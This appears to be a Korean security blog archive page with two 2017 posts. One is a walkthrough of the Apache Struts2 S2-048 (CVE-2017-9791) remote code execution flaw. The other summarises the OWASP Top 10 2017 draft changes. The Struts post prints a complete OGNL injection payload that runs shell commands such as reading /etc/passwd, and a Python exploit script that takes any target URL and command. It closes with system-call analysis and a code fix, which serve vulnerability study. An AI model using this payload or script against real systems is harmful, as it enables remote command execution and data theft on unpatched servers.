Search

'2017/07'에 해당되는 글 2건

  1. 2017.07.21 CVE-2017-9791 Apache Struts2 Showcase Remote Code Execution (S2-048)
  2. 2017.07.17 OWASP Top10 2017

다음 URL에 먼저 참고하시면 도움이 되실 것 같습니다.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9791

 http://struts.apache.org/docs/s2-048.html


테스트는 CentOS 6.9에서 Apache Struts 2.3.15.1 버전을 구성하여 진행하였습니다.


다음과 같은 공격구문을 URL 인코딩 한 후 name 파라미터에 입력 시도합니다.

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


공격구문을 입력하여 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.

[그림 1] 취약한 Apache Struts 버전의 테스트 화면


위의 공격구문을 이용하여 다음과 같이 공격코드를 작성합니다.


# -*- coding: utf-8 -*-

 import sys

 import requests


 def exploit(url, cmd):

     payload = "%{"

     payload += "(#_='multipart/form-data')."

     payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."

     payload += "(#_memberAccess?"

     payload += "(#_memberAccess=#dm):"

     payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."

     payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."

     payload += "(#ognlUtil.getExcludedPackageNames().clear())."

     payload += "(#ognlUtil.getExcludedClasses().clear())."

     payload += "(#context.setMemberAccess(#dm))))."

     payload += "(#cmd='%s')." % cmd

     payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."

     payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."

     payload += "(#p=new java.lang.ProcessBuilder(#cmds))."

     payload += "(#p.redirectErrorStream(true))."

     payload += "(#process=#p.start())."

     payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."

     payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."

     payload += "(#ros.flush())"

    payload += "}"

 

     data = {

         "name": payload,

         "age": 26,

         "__checkbox_bustedBefore": "true",

         "description": "S2-048"

     }

 

> -- snip --<


 if __name__ == '__main__':

     if len(sys.argv) != 3:

         print "usage: python %s <url> <cmd>" % (sys.argv[0])

         sys.exit(0)

 

     print "[*] exploit Apache Struts2 S2-048"

     url = sys.argv[1]

     cmd = sys.argv[2]

 

     exploit(url, cmd)


작성한 공격코드를 실행할 경우 프록시를 이용하여 공격한 결과와 동일한 결과를 얻을 수 있습니다.


[그림 2] 작성한 공격코드 실행 - 1


[그림 3] 작성한 공격코드 실행 - 2


프록시를 통해 공격구문을 입력하여 접근 시, strace를 통해 분석하였습니다.


[그림 4] 요청 값 확인


[그림 5] 자식 프로세스 생성


[그림 6] /bin/bash 명령어 실행


[그림 7] /bin/cat 명령어 실행


[그림 8] /etc/passwd 파일 일기


[그림 9] /etc/passwd 파일 내용 응답


해당 취약점은 소스코드 수정을 통해 조치할 수 있습니다.


[그림 10] 취약한 SaveGangsterAction.java


[그림 11] 조치된 SaveGangsterAction.java


위와 같이 소스코드 수정을 통해 조치된 것을 확인하였습니다.

[그림 12] 조치 확인


OWASP Top10 2017

웹 어플리케이션 2017. 7. 17. 11:29 Posted by TEAMCR@K

OWASP TOP 10 - 2017 RC1 버전이 4월 10일 자로 공개되었습니다.


아직까지는 최종 버전이 아닌 RC(Release Candidate) 버전으로 2017년 8월 25일까지 의견 수렴 후 새로운 OWASP Top 10 2017는 2017년 11월 말에 공개될 예정입니다.


해당 내용은 아래의 URL에서 확인하실 수 있습니다.

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project



2013년 버전과 비교하여 내용적인 변화는 크게 없으며 일부 취약점이 통합되고 신규 취약점이 추가되었습니다.

변화된 내용은 아래와 같습니다.



통합된 항목:

A4 - Broken Access Control


추가된 항목:

A7 - Insufficient Attack Protection

A10 - Underprotected APIs



A4 - Broken Access Control (취약한 접근 통제)

2013-A4, 2013-A7의 내용이 2017-A4으로 합쳐지는 것으로 확인할 수 있습니다.

내용을 확인해보면 2013-A4 Insecure Direct Object References(취약한 직접 객체 참조)와 2013-A7 Missing Function Level Access Control(단계적 접근 제한 기능 누락) 이 두 부분이 통합되었습니다.

Broken Access Control은 OWASP TOP 10 - 2003/2004 버전에 있던 취약점 항목입니다.


인증되지 않은 사용자가 데이터에 접근하거나 기능들을 수행할 수 있는 취약점입니다.

신뢰할 수 없는 출처에서 직접 참조를 사용할 때마다 사용자가 요청된 자원에 대한 권한을 부여받았는지 확인하기 위해 액세스 제어 검사가 포함되어야 합니다.


A7 - Insufficient Attack Protection (불충분한 공격 방어)

대부분의 어플리케이션 및 API는 수동/자동화된 공격에 대하여 탐지, 예방, 대응할 수 있는 기본 기능이 부족합니다.

어플리케이션 소유자는 공격으로부터 보호할 수 있도록 신속하게 패치를 배포할 수 있어야 합니다.


A10 - Underprotected APIs (보호되지 않은 API)

최근 어플리케이션은 일종의 API(SOAP/XML, REST/JSON, RPC, GWT, 등)에 연결되는 브라우저 및 모바일 어플리케이션의 JavaScript와 같은 Rich Client Application과 API을 포함되는 경우가 많습니다. 이 API는 보호되지 않는 경우가 많으며, 다양한 취약점이 존재합니다.

클라이언트와 API 사이의 통신이 보호되고 있는지 확인해야 하며 API에 강력한 인증방식이 모든 인증 정보, 키 및 토큰이 보호되고 있는지 확인해야 합니다.